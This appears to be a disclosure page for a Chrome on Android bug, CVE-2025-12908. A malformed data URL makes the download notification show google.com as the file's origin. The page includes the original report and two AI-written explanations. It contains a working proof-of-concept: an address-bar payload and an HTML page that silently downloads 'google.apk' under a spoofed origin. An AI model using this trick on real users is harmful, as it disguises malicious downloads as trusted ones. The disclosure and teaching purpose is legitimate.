Skip to content
Info disclosure Advisory Intermediate CVE-2025-12908

Insufficient validation of untrusted input in Downloads (CVE-2025-12908)

A malformed data URL with a host-like component causes Chrome on Android to treat it as a download and display a spoofed origin (e.g., google.com) in the download notification. An attacker could trick a user into downloading a malicious file that appears to come from a trusted domain.

Abhishek Kumar Follow

Originally disclosed on Chrome VRP

Bounty$5,000 Low View original
  • Fix shipped in 3 months

Steps to reproduce the problem

  1. Enter this payload in the address bar on android chrome: data://google.com/html,somereallyreallylongtextattheaddressbar and press enter, you will notice a download begins with origin in the notification as google.com, same origin is displayed in chrome://downloads menu too.

Full potential exploitation of this vulnerability: Download an apk from google.com as spoofed origin: Live POC: https://gojo-satorou-v7.github.io/chigorin/

Host below code:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Download & Fullscreen on Keypress</title>
</head>
<body>
  <center><h2>POC by Chigorin!</h2></center>

  <script>
    // Listen to any keydown
    window.addEventListener('keydown', function(e) {
      // open the download
      openWin();
      // request fullscreen
      //goFullScreen();
    });

    // Download helper
    function Puf(uri, name) {
      const link = document.createElement("a");
      link.href = uri;
      link.download = name;
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    }

    // Kick off your “APK” download
    function openWin() {
      Puf(
        "data://google.com/application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
        "google.apk"
      );
    }

  </script>
  

  
</body>
</html>

Press space [since I am on emulator] Notice an apk will be downloaded from google.com

Problem Description

Root cause analysis:

Let's go step by step:

  1. Why is the above payload triggering a download?

Because of this code.

    bool is_download;
    bool must_download =
        download_utils::MustDownload(url_, head.headers.get(), head.mime_type);
    bool known_mime_type = blink::IsSupportedMimeType(head.mime_type);
#if BUILDFLAG(ENABLE_PLUGINS)
    if (!head.intercepted_by_plugin && !must_download && !known_mime_type) {
      // No plugin throttles intercepted the response. Ask if the plugin
      // registered to PluginService wants to handle the request.
      CheckPluginAndContinueOnReceiveResponse(
          head, std::move(url_loader_client_endpoints),
          true /* is_download_if_not_handled_by_plugin */,
          std::vector<WebPluginInfo>());
      return;
    }

https://github.com/chromium/chromium/blob/23df03bf4570c5b17d918be5daf785d60ba0707b/content/browser/loader/navigation_url_loader_impl.cc#L1178

The format of a data uri is as follows: data:[<mime-type>][;base64],<data> and according to above code if the mime type is unknown it will trigger a download.

  1. Chromium’s GURL sees the scheme data and, because of the //, treats google.com as a host. Then url.GetContent() returns the substring after the scheme (which in this case includes the path /html,sometext). DataURL::Parse() splits at the first comma: the part before the comma is interpreted as “media type” metadata, and the part after as the raw data. In our example:

    Content before comma = "google.com/html" (misinterpreted as MIME/media type)

    Content after comma = "sometext" (the actual payload)

Because "google.com/html" is not a valid MIME type, the parser falls back to defaults.

So now we know why the malformed data url is causing a download, next I will show you why is the download notification taking google.com as origin (seems obvious now, GURL is the culprit!)

  1. How does the download notification handling the data uri?

In the in-app download notification (via DownloadMessageUiControllerImpl), the code calls DownloadUtils.formatUrlForDisplayInNotification with the download’s URL. That method (in components/browser_ui/util/android/DownloadUtils.java) does:

if (GURL.isEmptyOrInvalid(url)) return null;
String formattedUrl = UrlFormatter.formatUrlForSecurityDisplay(
    url, UrlFormatter.SchemeDisplay.OMIT_HTTP_AND_HTTPS);
if (formattedUrl.length() <= MAX_ORIGIN_LENGTH) return formattedUrl;
// Too long – strip to eTLD+1
return UrlUtilities.getDomainAndRegistry(url.getSpec(), false);

For a malformed data URL like data://google.com/html,sometext, UrlFormatter.formatUrlForSecurityDisplay(url) will include the scheme and full URL by default (since the scheme is “data”, not HTTP/HTTPS, it is not omitted). The string "data://google.com/html,sometext" exceeds the MAX_ORIGIN_LENGTH (25 chars), so the code falls back to UrlUtilities.getDomainAndRegistry(url.getSpec()), which extracts the effective top-level domain+1 from the full URL string. In this case it returns "google.com". That string is then shown as the “origin” in the notification.

Additional Comments

Oldest version in which this POC works: 130.0.5723.40 Stable works till current latest version of 136.0.7103.127

Please note: I was only able to get the above version apk of chrome from a third party website, although I am highly confident that the vulnerability started existing after the release of 130.x.x.x Oldest version in which this vulnerability doesn't work: 129.x.x.x

Summary

Download origin spoofing using malformed data url.

Additional Data

Category: Security
Chrome Channel: Stable
Regression: No

The original report as published on the Chromium issue tracker, by Abhishek Kumar. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This is a bug in Google Chrome on Android, tracked as CVE-2025-12908 and described by the Chrome VRP as insufficient validation of untrusted input in Downloads. The affected feature is the download flow: when Chrome decides that a navigation should become a download, it records the download's URL and later shows an origin for that download in the in-app download notification and in chrome://downloads.

The report shows that a malformed data: URL can make Chrome start a download whose displayed origin is google.com, even though the content does not come from Google. The researcher summarises it as "Download origin spoofing using malformed data url".

Setup

The testing was done on Android Chrome, on an emulator (the researcher notes "since I am on emulator" when pressing space). The researcher reports the oldest version in which the proof of concept works as 130.0.5723.40 Stable, and that it works up to the current latest version of 136.0.7103.127. The oldest version in which it does not work is 129.x.x.x. The researcher notes that the 130.0.5723.40 APK was obtained from a third party website, and states high confidence that the vulnerability started existing after the release of 130.x.x.x. The report marks Regression as No, Chrome Channel as Stable, and Category as Security.

Finding it

Entering a malformed data: URL in the address bar causes a download to begin, and the download notification shows google.com as the origin. The same origin is displayed in the chrome://downloads menu. Since the content is not served by Google, the displayed origin is wrong, which is the basis of the spoofing.

Exploitation

Step 1: trigger a download from the address bar

Enter this payload in the address bar on Android Chrome and press enter:

Text
data://google.com/html,somereallyreallylongtextattheaddressbar

A download begins, and the notification shows the origin as google.com. The same origin appears in chrome://downloads.

Step 2: deliver a spoofed APK download from a hosted page

The researcher describes the full potential exploitation as downloading an APK from google.com as a spoofed origin, with a live proof of concept at https://gojo-satorou-v7.github.io/chigorin/. The page hosts the following code:

HTML
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Download & Fullscreen on Keypress</title>
</head>
<body>
  <center><h2>POC by Chigorin!</h2></center>

  <script>
    // Listen to any keydown
    window.addEventListener("keydown", function(e) {
      // open the download
      openWin();
      // request fullscreen
      //goFullScreen();
    });

    // Download helper
    function Puf(uri, name) {
      const link = document.createElement("a");
      link.href = uri;
      link.download = name;
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    }

    // Kick off your “APK” download
    function openWin() {
      Puf(
        "data://google.com/application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
        "google.apk"
      );
    }

  </script>

</body>
</html>

The page listens for any keydown and calls openWin(). openWin() calls the helper Puf with a data: URL whose authority-looking part is google.com and whose media type is application/x-msdownload, base64-encoded data ZXN0dGVzdGVzdHRlc3Q=, and a download name of google.apk. Puf creates an anchor element, sets its href to the data URL and its download attribute to the name, appends it to the document, clicks it, and removes it. The researcher presses space (on the emulator) and an APK is downloaded from google.com as the displayed origin.

Root cause

The researcher breaks the analysis into three steps.

Why the payload triggers a download

The decision comes from this code:

Text
    bool is_download;
    bool must_download =
        download_utils::MustDownload(url_, head.headers.get(), head.mime_type);
    bool known_mime_type = blink::IsSupportedMimeType(head.mime_type);
#if BUILDFLAG(ENABLE_PLUGINS)
    if (!head.intercepted_by_plugin && !must_download && !known_mime_type) {
      // No plugin throttles intercepted the response. Ask if the plugin
      // registered to PluginService wants to handle the request.
      CheckPluginAndContinueOnReceiveResponse(
          head, std::move(url_loader_client_endpoints),
          true /* is_download_if_not_handled_by_plugin */,
          std::vector<WebPluginInfo>());
      return;
    }

This is in content/browser/loader/navigation_url_loader_impl.cc (the report links to commit [redacted], line 1178). The format of a data URI is data:[<mime-type>][;base64],<data>, and according to this code, if the MIME type is unknown, a download is triggered.

Why the URL is parsed as having a host

Chromium's GURL sees the scheme data and, because of the //, treats google.com as a host. url.GetContent() then returns the substring after the scheme, which in this case includes the path /html,sometext. DataURL::Parse() splits at the first comma: the part before the comma is interpreted as media type metadata, and the part after as the raw data. In the example:

  • Content before the comma is google.com/html, misinterpreted as the MIME/media type.
  • Content after the comma is sometext, the actual payload.

Because google.com/html is not a valid MIME type, the parser falls back to defaults. The researcher attributes the host confusion to GURL.

Why the notification shows google.com

In the in-app download notification, via DownloadMessageUiControllerImpl, the code calls DownloadUtils.formatUrlForDisplayInNotification with the download's URL. That method, in components/browser_ui/util/android/DownloadUtils.java, does:

Text
if (GURL.isEmptyOrInvalid(url)) return null;
String formattedUrl = UrlFormatter.formatUrlForSecurityDisplay(
    url, UrlFormatter.SchemeDisplay.OMIT_HTTP_AND_HTTPS);
if (formattedUrl.length() <= MAX_ORIGIN_LENGTH) return formattedUrl;
// Too long – strip to eTLD+1
return UrlUtilities.getDomainAndRegistry(url.getSpec(), false);

For a malformed data URL like data://google.com/html,sometext, UrlFormatter.formatUrlForSecurityDisplay(url) includes the scheme and full URL by default, because the scheme is data, not HTTP or HTTPS, so it is not omitted. The string data://google.com/html,sometext exceeds MAX_ORIGIN_LENGTH (25 characters), so the code falls back to UrlUtilities.getDomainAndRegistry(url.getSpec()), which extracts the effective top-level domain plus one from the full URL string. In this case it returns google.com, and that string is shown as the origin in the notification.

Impact

An attacker can make Chrome on Android start a download whose displayed origin is a domain the attacker does not control, here google.com, in both the in-app download notification and chrome://downloads. The researcher frames the full potential exploitation as downloading an APK from google.com as a spoofed origin, which shows a spoofed origin for the downloaded file. The report does not describe any further consequence beyond the spoofed origin and the resulting download.

Fix

The report does not describe a fix or a code change. It attributes the host confusion to GURL and describes the fallback to UrlUtilities.getDomainAndRegistry in DownloadUtils.formatUrlForDisplayInNotification.

  1. Other schemes with // and a host-like component, such as a data: URL whose pre-comma part resembles a domain. A positive result is a download starting with the host-like string shown as the origin.
  2. Longer and shorter pre-comma strings around the 25-character MAX_ORIGIN_LENGTH boundary. A positive result is the displayed origin switching between the full formatted URL and the eTLD+1 fallback.
  3. Different media types in the pre-comma part, valid and invalid. A positive result is a download being triggered when the MIME type is unknown, as in the report.
  4. The same payload through an anchor with the download attribute, as in the hosted proof of concept, rather than the address bar. A positive result is the same spoofed origin in the notification and in chrome://downloads.
  5. The same payload on other Chrome channels and versions around the reported range (129.x.x.x versus 130.0.5723.40 and later). A positive result is the behaviour appearing from 130.x.x.x onwards and not on 129.x.x.x.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Google Chrome on Android has a downloads feature: when you tap a link to a file, Chrome saves the file and shows a notification telling you a download has started. That notification includes the address the file came from, so you can decide whether you trust it.

This report shows that a specially crafted web address can make Chrome start a download and display google.com as the place it came from, even though the file does not come from Google at all. The researcher calls this "Download origin spoofing using malformed data url".

The bug is tracked as CVE-2025-12908. A CVE is a public catalogue number given to a known security flaw so people can look it up. The Chrome VRP, Google's Vulnerability Reward Program, classifies it as insufficient validation of untrusted input in Downloads: Chrome accepts input it should have checked more carefully.

Some background before we start

A few ideas come up again and again below, so here they are from zero.

  • URL (web address): the text you type in the address bar, like https://example.com/page. It has parts: a scheme (https), a host (example.com) and a path (/page).
  • Scheme: the first word before ://. It tells the browser how to handle the address. http and https mean fetch a page from a server. data means the content is written inside the address itself, not fetched from anywhere.
  • Host: the domain name part, such as google.com. This is what users look at to decide whether a site is trustworthy.
  • MIME type: a label that says what kind of file something is, for example text/html for a web page or application/x-msdownload for a Windows program. Servers send this label with files so the browser knows what to do with them.
  • APK: the file format used to install apps on Android. Installing an APK from an untrusted source is a common way people get malware, which is why the origin shown for an APK download matters.
  • Origin spoofing: making something appear to come from a place it did not come from. Like a parcel with a fake return address.
  • Emulator: software that imitates a phone on a computer, so you can test Android apps without a physical device.
  • Notification: the small message Android shows in the notification shade when something happens, such as a download starting.
  • chrome://downloads: a built-in Chrome page that lists your downloads.

Context

This is a bug in Google Chrome on Android, tracked as CVE-2025-12908 and described by the Chrome VRP as insufficient validation of untrusted input in Downloads. The affected feature is the download flow: when Chrome decides that a navigation should become a download, it records the download's URL and later shows an origin for that download in the in-app download notification and in chrome://downloads.

The report shows that a malformed data: URL can make Chrome start a download whose displayed origin is google.com, even though the content does not come from Google. The researcher summarises it as "Download origin spoofing using malformed data url".

Setup

The testing was done on Android Chrome, on an emulator (the researcher notes "since I am on emulator" when pressing space). The researcher reports the oldest version in which the proof of concept works as 130.0.5723.40 Stable, and that it works up to the current latest version of 136.0.7103.127. The oldest version in which it does not work is 129.x.x.x. The researcher notes that the 130.0.5723.40 APK was obtained from a third party website, and states high confidence that the vulnerability started existing after the release of 130.x.x.x. The report marks Regression as No, Chrome Channel as Stable, and Category as Security.

Finding it

Entering a malformed data: URL in the address bar causes a download to begin, and the download notification shows google.com as the origin. The same origin is displayed in the chrome://downloads menu. Since the content is not served by Google, the displayed origin is wrong, which is the basis of the spoofing.

Exploitation

Step 1: trigger a download from the address bar

Enter this payload in the address bar on Android Chrome and press enter:

Text
data://google.com/html,somereallyreallylongtextattheaddressbar

A download begins, and the notification shows the origin as google.com. The same origin appears in chrome://downloads.

If you can reproduce it with nothing but the address bar, you know the problem is in how Chrome reads the address, not in some particular website.

Step 2: deliver a spoofed APK download from a hosted page

The researcher describes the full potential exploitation as downloading an APK from google.com as a spoofed origin, with a live proof of concept at https://gojo-satorou-v7.github.io/chigorin/. The page hosts the following code:

HTML
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Download & Fullscreen on Keypress</title>
</head>
<body>
  <center><h2>POC by Chigorin!</h2></center>

  <script>
    // Listen to any keydown
    window.addEventListener("keydown", function(e) {
      // open the download
      openWin();
      // request fullscreen
      //goFullScreen();
    });

    // Download helper
    function Puf(uri, name) {
      const link = document.createElement("a");
      link.href = uri;
      link.download = name;
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    }

    // Kick off your “APK” download
    function openWin() {
      Puf(
        "data://google.com/application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
        "google.apk"
      );
    }

  </script>

</body>
</html>

Line by line, in plain words:

  1. <!DOCTYPE html> and the <html>, <head>, <body> tags are the standard skeleton of a web page. Nothing security-related here.
  2. <title>Download & Fullscreen on Keypress</title> sets the text shown in the browser tab.
  3. <center><h2>POC by Chigorin!</h2></center> just prints a heading on the page so you know the proof of concept loaded.
  4. <script> starts a block of JavaScript, the programming language that runs inside web pages.
  5. window.addEventListener("keydown", function(e) { ... }); tells the browser: whenever the visitor presses any key, run the code inside. This is the trigger.
  6. Inside that handler, openWin(); is called. The line //goFullScreen(); is commented out, meaning it is disabled and does nothing.
  7. function Puf(uri, name) { ... } is a helper that takes two things: a web address (uri) and a file name (name).
  8. const link = document.createElement("a"); creates a link element in memory, not yet on the page.
  9. link.href = uri; sets where the link points.
  10. link.download = name; sets the download attribute, which tells the browser "this link is for saving a file, and here is the name to save it as".
  11. document.body.appendChild(link); puts the link on the page, because a link that is not on the page cannot be clicked.
  12. link.click(); clicks it automatically, which starts the download.
  13. document.body.removeChild(link); removes the link again so the visitor never sees it.
  14. function openWin() { ... } is the function that actually starts the download. It calls Puf with two values.
  15. The first value is the address data://google.com/application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=. This is the trick. It looks like it comes from google.com, and it labels the content as application/x-msdownload, a program file. The base64 part means the actual file content is encoded as text; ZXN0dGVzdGVzdHRlc3Q= is the encoded content.
  16. The second value is "google.apk", the name the file will be saved under.

The researcher presses space (on the emulator) and an APK is downloaded from google.com as the displayed origin.

A victim visits a page, presses any key, and a file named google.apk is saved, with the notification saying it came from Google.

Root cause

The researcher breaks the analysis into three steps.

Why the payload triggers a download

The decision comes from this code:

Text
    bool is_download;
    bool must_download =
        download_utils::MustDownload(url_, head.headers.get(), head.mime_type);
    bool known_mime_type = blink::IsSupportedMimeType(head.mime_type);
#if BUILDFLAG(ENABLE_PLUGINS)
    if (!head.intercepted_by_plugin && !must_download && !known_mime_type) {
      // No plugin throttles intercepted the response. Ask if the plugin
      // registered to PluginService wants to handle the request.
      CheckPluginAndContinueOnReceiveResponse(
          head, std::move(url_loader_client_endpoints),
          true /* is_download_if_not_handled_by_plugin */,
          std::vector<WebPluginInfo>());
      return;
    }

This is in content/browser/loader/navigation_url_loader_impl.cc (the report links to commit [redacted], line 1178). The format of a data URI is data:[<mime-type>][;base64],<data>, and according to this code, if the MIME type is unknown, a download is triggered.

Line by line, in plain words:

  1. bool is_download; declares a true/false variable. It is not used in the lines shown.
  2. bool must_download = download_utils::MustDownload(url_, head.headers.get(), head.mime_type); asks a helper function whether this response must be saved as a file, based on the address, the response headers (extra information the server sends alongside content) and the MIME type.
  3. bool known_mime_type = blink::IsSupportedMimeType(head.mime_type); asks whether Chrome recognises the MIME type as something it can display itself, like a web page or an image.
  4. #if BUILDFLAG(ENABLE_PLUGINS) means the following block is only compiled into builds where plugins are enabled.
  5. if (!head.intercepted_by_plugin && !must_download && !known_mime_type) { is the key condition: no plugin took over the response, it is not a forced download, and Chrome does not recognise the file type. In other words: "I do not know what this is."
  6. Inside that block, CheckPluginAndContinueOnReceiveResponse(...) is called with true /* is_download_if_not_handled_by_plugin */, meaning: if no plugin wants it, treat it as a download.
  7. return; stops processing here.

So the logic is: if Chrome cannot tell what the content is, it saves it as a file instead of showing it. That is a sensible default for unknown content, but it is also what lets the malformed address start a download.

Why the URL is parsed as having a host

Chromium's GURL sees the scheme data and, because of the //, treats google.com as a host. url.GetContent() then returns the substring after the scheme, which in this case includes the path /html,sometext. DataURL::Parse() splits at the first comma: the part before the comma is interpreted as media type metadata, and the part after as the raw data. In the example:

  • Content before the comma is google.com/html, misinterpreted as the MIME/media type.
  • Content after the comma is sometext, the actual payload.

Because google.com/html is not a valid MIME type, the parser falls back to defaults. The researcher attributes the host confusion to GURL.

Some terms here: GURL is Chromium's internal class for reading and storing web addresses. Parsing means breaking a piece of text into its parts. A fallback is what a program does when the expected input is wrong: it uses a default instead of failing.

Why this matters: a normal data: address has no host at all, because the content is inside the address. But because the address contains //, the parser reads google.com as if it were a host. That misreading, together with the notification's shortening fallback, is what makes the notification say google.com.

Why the notification shows google.com

In the in-app download notification, via DownloadMessageUiControllerImpl, the code calls DownloadUtils.formatUrlForDisplayInNotification with the download's URL. That method, in components/browser_ui/util/android/DownloadUtils.java, does:

Text
if (GURL.isEmptyOrInvalid(url)) return null;
String formattedUrl = UrlFormatter.formatUrlForSecurityDisplay(
    url, UrlFormatter.SchemeDisplay.OMIT_HTTP_AND_HTTPS);
if (formattedUrl.length() <= MAX_ORIGIN_LENGTH) return formattedUrl;
// Too long – strip to eTLD+1
return UrlUtilities.getDomainAndRegistry(url.getSpec(), false);

Line by line, in plain words:

  1. if (GURL.isEmptyOrInvalid(url)) return null; says: if the address is empty or broken, show nothing.
  2. String formattedUrl = UrlFormatter.formatUrlForSecurityDisplay(url, UrlFormatter.SchemeDisplay.OMIT_HTTP_AND_HTTPS); builds a short, readable version of the address for the notification. The OMIT_HTTP_AND_HTTPS option means: hide the http:// or https:// part, because users do not need to see it. For other schemes, such as data, the scheme is kept.
  3. if (formattedUrl.length() <= MAX_ORIGIN_LENGTH) return formattedUrl; says: if the result is short enough, show it as is. MAX_ORIGIN_LENGTH is 25 characters.
  4. // Too long – strip to eTLD+1 is a comment explaining the next line.
  5. return UrlUtilities.getDomainAndRegistry(url.getSpec(), false); says: if the address is too long, show only the domain and registry instead. eTLD+1 means the effective top-level domain plus one label: for www.example.co.uk, that is example.co.uk. It is the part of a domain that identifies the site owner.

For a malformed data URL like data://google.com/html,sometext, UrlFormatter.formatUrlForSecurityDisplay(url) includes the scheme and full URL by default, because the scheme is data, not HTTP or HTTPS, so it is not omitted. The string data://google.com/html,sometext exceeds MAX_ORIGIN_LENGTH (25 characters), so the code falls back to UrlUtilities.getDomainAndRegistry(url.getSpec()), which extracts the effective top-level domain plus one from the full URL string. In this case it returns google.com, and that string is shown as the origin in the notification.

Why this matters: the notification code is trying to be helpful. If an address is too long to fit, it shows just the domain. But it trusts the address it is given. The shortening step extracts the effective top-level domain plus one from the full URL string and returns google.com, and the user sees a trusted name for a file that did not come from Google.

Impact

An attacker can make Chrome on Android start a download whose displayed origin is a domain the attacker does not control, here google.com, in both the in-app download notification and chrome://downloads. The researcher frames the full potential exploitation as downloading an APK from google.com as a spoofed origin, which shows a spoofed origin for the downloaded file. The report does not describe any further consequence beyond the spoofed origin and the resulting download.

Fix

The report does not describe a fix or a code change. It attributes the host confusion to GURL and describes the fallback to UrlUtilities.getDomainAndRegistry in DownloadUtils.formatUrlForDisplayInNotification.

These are follow-up experiments a tester could run to see how far the behaviour goes. Each one lists what a positive result would look like.

  1. Other schemes with // and a host-like component, such as a data: URL whose pre-comma part resembles a domain. A positive result is a download starting with the host-like string shown as the origin.
  2. Longer and shorter pre-comma strings around the 25-character MAX_ORIGIN_LENGTH boundary. A positive result is the displayed origin switching between the full formatted URL and the eTLD+1 fallback.
  3. Different media types in the pre-comma part, valid and invalid. A positive result is a download being triggered when the MIME type is unknown, as in the report.
  4. The same payload through an anchor with the download attribute, as in the hosted proof of concept, rather than the address bar. A positive result is the same spoofed origin in the notification and in chrome://downloads.
  5. The same payload on other Chrome channels and versions around the reported range (129.x.x.x versus 130.0.5723.40 and later). A positive result is the behaviour appearing from 130.x.x.x onwards and not on 129.x.x.x.

Glossary

  • Base64: a way of writing binary file content as plain text characters.
  • Bounty: money paid by a company to a researcher who reports a valid security bug.
  • Chrome VRP: Google's Vulnerability Reward Program, which receives and pays for Chrome security reports.
  • CVE: a public catalogue number for a known security vulnerability.
  • Data URL: a web address that contains the content itself, in the form data:[<mime-type>][;base64],<data>, instead of pointing to a server.
  • Download attribute: an HTML attribute on a link that tells the browser to save the target as a file with a given name.
  • eTLD+1: the effective top-level domain plus one label, the part of a domain that identifies the site owner, such as example.co.uk.
  • Emulator: software that imitates a phone on a computer.
  • Fallback: what a program does when the expected input is wrong, using a default instead of failing.
  • GURL: Chromium's internal class for reading and storing web addresses.
  • Host: the domain name part of a web address, such as google.com.
  • JavaScript: the programming language that runs inside web pages.
  • MIME type: a label saying what kind of file something is, such as text/html or application/x-msdownload.
  • Origin: the place a resource comes from, normally the scheme plus host, which users use to judge trust.
  • Parsing: breaking a piece of text into its parts so a program can understand it.
  • Payload: the crafted input an attacker sends to trigger a bug.
  • Proof of concept (POC): a minimal demonstration that a bug is real.
  • Regression: a bug that appears in a version where it did not exist before.
  • Scheme: the first part of a web address, before ://, such as https or data, which tells the browser how to handle it.
  • Severity: a rating of how serious a vulnerability is.
  • Stable channel: the normal, released version of Chrome that most people use.
  • URL: a web address.
  • Vulnerability: a flaw in software that can be misused to cause harm.

More by Abhishek Kumar

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.